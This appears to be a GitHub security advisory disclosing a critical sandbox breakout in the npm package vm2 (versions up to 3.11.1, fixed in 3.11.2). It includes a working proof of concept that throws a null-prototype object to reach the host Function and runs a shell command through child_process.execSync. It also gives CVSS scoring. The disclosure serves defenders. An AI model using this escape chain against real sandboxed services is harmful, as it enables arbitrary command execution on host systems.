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Sandbox Breakout Through Null Proto Exception

Critical
patriksimek published GHSA-9vg3-4rfj-wgcm May 3, 2026

Package

npm vm2 (npm)

Affected versions

<=3.11.1

Patched versions

3.11.2

Description

Summary

VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

Details

In handleException due to // SECURITY (post-GHSA-mpf8 hardening): use `from` (not `ensureThis`) exceptions with a null proto will be assumed to come from the other side and being proxied. Therefore, it is possible to get the proxied and unproxied object of a sandbox object with a null proto when thrown and then catched which allows to get the host Function object.

PoC

const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
const o = {__proto__: null};
try {
	throw o;
} catch (e) {
	e.f = Buffer.prototype.inspect
	o.f.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
}
`));

Impact

Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2026-44009

Weaknesses

No CWEs

Credits